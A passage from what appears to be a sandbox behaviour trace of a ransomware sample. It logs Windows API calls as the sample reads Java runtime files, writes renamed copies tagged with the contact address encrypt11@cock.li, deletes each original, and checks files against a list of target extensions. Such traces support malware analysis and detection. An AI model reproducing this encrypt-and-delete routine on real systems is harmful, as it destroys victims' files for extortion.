dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0147.676] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=34368) returned 1 [0147.676] CloseHandle (hObject=0x34c) returned 1 [0147.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe")) returned 0x20 [0147.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.677] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0147.677] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.677] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.677] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0147.678] GetLastError () returned 0x0 [0147.678] ReadFile (in: hFile=0x34c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x8640, lpOverlapped=0x0) returned 1 [0147.680] WriteFile (in: hFile=0x350, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x8650, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x8650, lpOverlapped=0x0) returned 1 [0147.681] ReadFile (in: hFile=0x34c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.681] WriteFile (in: hFile=0x350, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xee, lpOverlapped=0x0) returned 1 [0147.682] SetEndOfFile (hFile=0x350) returned 1 [0147.682] CloseHandle (hObject=0x350) returned 1 [0147.682] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.682] SetEndOfFile (hFile=0x34c) returned 1 [0147.683] CloseHandle (hObject=0x34c) returned 1 [0147.683] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0147.683] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe")) returned 1 [0147.683] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0147.683] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0147.683] lstrlenW (lpString=".doc") returned 4 [0147.683] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0147.683] lstrlenW (lpString=".docx") returned 5 [0147.683] lstrcmpiW (lpString1=".docx", lpString2="h.exe") returned -1 [0147.683] lstrlenW (lpString=".pdf") returned 4 [0147.683] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0147.683] lstrlenW (lpString=".xls") returned 4 [0147.683] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0147.683] lstrlenW (lpString=".xlsx") returned 5 [0147.683] lstrcmpiW (lpString1=".xlsx", lpString2="h.exe") returned -1 [0147.683] lstrlenW (lpString=".ppt") returned 4 [0147.683] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0147.683] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0147.683] lstrlenW (lpString=".zip") returned 4 [0147.684] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0147.684] lstrlenW (lpString=".rar") returned 4 [0147.684] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0147.684] lstrlenW (lpString=".bz2") returned 4 [0147.684] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0147.684] lstrlenW (lpString=".7z") returned 3 [0147.684] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0147.684] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0147.684] lstrlenW (lpString=".dbf") returned 4 [0147.684] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0147.684] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0147.684] lstrlenW (lpString=".1cd") returned 4 [0147.684] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0147.684] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0147.684] lstrlenW (lpString=".jpg") returned 4 [0147.684] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0147.684] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0147.684] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0147.684] lstrlenW (lpString=".doc") returned 4 [0147.684] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0147.684] lstrlenW (lpString=".docx") returned 5 [0147.684] lstrcmpiW (lpString1=".docx", lpString2="h.exe") returned -1 [0147.684] lstrlenW (lpString=".pdf") returned 4 [0147.684] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0147.684] lstrlenW (lpString=".xls") returned 4 [0147.684] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0147.684] lstrlenW (lpString=".xlsx") returned 5 [0147.684] lstrcmpiW (lpString1=".xlsx", lpString2="h.exe") returned -1 [0147.684] lstrlenW (lpString=".ppt") returned 4 [0147.684] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0147.684] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0147.684] lstrlenW (lpString=".zip") returned 4 [0147.684] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0147.684] lstrlenW (lpString=".rar") returned 4 [0147.685] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0147.685] lstrlenW (lpString=".bz2") returned 4 [0147.685] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0147.685] lstrlenW (lpString=".7z") returned 3 [0147.685] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0147.685] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0147.685] lstrlenW (lpString=".dbf") returned 4 [0147.685] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0147.685] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0147.685] lstrlenW (lpString=".1cd") returned 4 [0147.685] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0147.685] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0147.685] lstrlenW (lpString=".jpg") returned 4 [0147.685] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0147.685] lstrcmpiW (lpString1=".exe", lpString2=".btix") returned 1 [0147.685] lstrlenW (lpString="java-rmi.exe") returned 12 [0147.685] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0147.685] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=15936) returned 1 [0147.685] CloseHandle (hObject=0x34c) returned 1 [0147.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe")) returned 0x20 [0147.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.686] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0147.686] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.686] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.686] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0147.686] GetLastError () returned 0x0 [0147.686] ReadFile (in: hFile=0x34c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x3e40, lpOverlapped=0x0) returned 1 [0147.694] WriteFile (in: hFile=0x350, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x3e50, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x3e50, lpOverlapped=0x0) returned 1 [0147.695] ReadFile (in: hFile=0x34c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.696] WriteFile (in: hFile=0x350, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xec, lpOverlapped=0x0) returned 1 [0147.696] SetEndOfFile (hFile=0x350) returned 1 [0147.696] CloseHandle (hObject=0x350) returned 1 [0147.696] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.696] SetEndOfFile (hFile=0x34c) returned 1 [0147.697] CloseHandle (hObject=0x34c) returned 1 [0147.697] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0147.697] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe")) returned 1 [0147.697] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0147.697] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0147.697] lstrlenW (lpString=".doc") returned 4 [0147.697] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0147.697] lstrlenW (lpString=".docx") returned 5 [0147.697] lstrcmpiW (lpString1=".docx", lpString2="i.exe") returned -1 [0147.697] lstrlenW (lpString=".pdf") returned 4 [0147.697] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0147.697] lstrlenW (lpString=".xls") returned 4 [0147.697] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0147.697] lstrlenW (lpString=".xlsx") returned 5 [0147.697] lstrcmpiW (lpString1=".xlsx", lpString2="i.exe") returned -1 [0147.697] lstrlenW (lpString=".ppt") returned 4 [0147.697] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0147.697] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0147.697] lstrlenW (lpString=".zip") returned 4 [0147.697] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0147.697] lstrlenW (lpString=".rar") returned 4 [0147.697] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0147.697] lstrlenW (lpString=".bz2") returned 4 [0147.698] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0147.698] lstrlenW (lpString=".7z") returned 3 [0147.698] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0147.698] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0147.698] lstrlenW (lpString=".dbf") returned 4 [0147.698] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0147.698] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0147.698] lstrlenW (lpString=".1cd") returned 4 [0147.698] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0147.698] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0147.698] lstrlenW (lpString=".jpg") returned 4 [0147.698] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0147.698] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0147.698] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0147.698] lstrlenW (lpString=".doc") returned 4 [0147.698] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0147.698] lstrlenW (lpString=".docx") returned 5 [0147.698] lstrcmpiW (lpString1=".docx", lpString2="i.exe") returned -1 [0147.698] lstrlenW (lpString=".pdf") returned 4 [0147.698] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0147.698] lstrlenW (lpString=".xls") returned 4 [0147.698] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0147.698] lstrlenW (lpString=".xlsx") returned 5 [0147.698] lstrcmpiW (lpString1=".xlsx", lpString2="i.exe") returned -1 [0147.698] lstrlenW (lpString=".ppt") returned 4 [0147.698] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0147.698] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0147.698] lstrlenW (lpString=".zip") returned 4 [0147.698] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0147.698] lstrlenW (lpString=".rar") returned 4 [0147.698] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0147.698] lstrlenW (lpString=".bz2") returned 4 [0147.698] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0147.698] lstrlenW (lpString=".7z") returned 3 [0147.698] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0147.699] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0147.699] lstrlenW (lpString=".dbf") returned 4 [0147.699] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0147.699] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0147.699] lstrlenW (lpString=".1cd") returned 4 [0147.699] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0147.699] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0147.699] lstrlenW (lpString=".jpg") returned 4 [0147.699] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0147.699] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0147.699] lstrlenW (lpString="java.dll") returned 8 [0147.699] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0147.699] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=159808) returned 1 [0147.699] CloseHandle (hObject=0x34c) returned 1 [0147.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll")) returned 0x20 [0147.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.699] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0147.700] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.700] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.700] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0147.700] GetLastError () returned 0x0 [0147.700] ReadFile (in: hFile=0x34c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x27040, lpOverlapped=0x0) returned 1 [0147.706] WriteFile (in: hFile=0x350, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x27050, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x27050, lpOverlapped=0x0) returned 1 [0147.708] ReadFile (in: hFile=0x34c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.708] WriteFile (in: hFile=0x350, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xe4, lpOverlapped=0x0) returned 1 [0147.709] SetEndOfFile (hFile=0x350) returned 1 [0147.709] CloseHandle (hObject=0x350) returned 1 [0147.709] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.709] SetEndOfFile (hFile=0x34c) returned 1 [0147.710] CloseHandle (hObject=0x34c) returned 1 [0147.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0147.711] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll")) returned 1 [0147.711] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0147.711] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0147.711] lstrlenW (lpString=".doc") returned 4 [0147.711] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0147.711] lstrlenW (lpString=".docx") returned 5 [0147.711] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0147.711] lstrlenW (lpString=".pdf") returned 4 [0147.711] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0147.711] lstrlenW (lpString=".xls") returned 4 [0147.711] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0147.711] lstrlenW (lpString=".xlsx") returned 5 [0147.711] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0147.711] lstrlenW (lpString=".ppt") returned 4 [0147.711] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0147.711] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0147.711] lstrlenW (lpString=".zip") returned 4 [0147.711] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0147.711] lstrlenW (lpString=".rar") returned 4 [0147.711] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0147.711] lstrlenW (lpString=".bz2") returned 4 [0147.711] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0147.711] lstrlenW (lpString=".7z") returned 3 [0147.711] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0147.711] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0147.711] lstrlenW (lpString=".dbf") returned 4 [0147.711] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0147.711] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0147.711] lstrlenW (lpString=".1cd") returned 4 [0147.711] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0147.712] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0147.712] lstrlenW (lpString=".jpg") returned 4 [0147.712] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0147.712] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0147.712] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0147.712] lstrlenW (lpString=".doc") returned 4 [0147.712] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0147.712] lstrlenW (lpString=".docx") returned 5 [0147.712] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0147.712] lstrlenW (lpString=".pdf") returned 4 [0147.712] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0147.712] lstrlenW (lpString=".xls") returned 4 [0147.712] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0147.712] lstrlenW (lpString=".xlsx") returned 5 [0147.712] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0147.712] lstrlenW (lpString=".ppt") returned 4 [0147.712] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0147.712] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0147.712] lstrlenW (lpString=".zip") returned 4 [0147.712] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0147.712] lstrlenW (lpString=".rar") returned 4 [0147.712] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0147.712] lstrlenW (lpString=".bz2") returned 4 [0147.712] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0147.712] lstrlenW (lpString=".7z") returned 3 [0147.712] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0147.712] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0147.712] lstrlenW (lpString=".dbf") returned 4 [0147.712] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0147.712] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0147.712] lstrlenW (lpString=".1cd") returned 4 [0147.712] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0147.712] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0147.712] lstrlenW (lpString=".jpg") returned 4 [0147.712] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0147.713] lstrcmpiW (lpString1=".exe", lpString2=".btix") returned 1 [0147.713] lstrlenW (lpString="java.exe") returned 8 [0147.713] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0147.713] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=206912) returned 1 [0147.713] CloseHandle (hObject=0x34c) returned 1 [0147.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe")) returned 0x20 [0147.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.713] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0147.713] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.713] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.713] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0147.714] GetLastError () returned 0x0 [0147.714] ReadFile (in: hFile=0x34c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x32840, 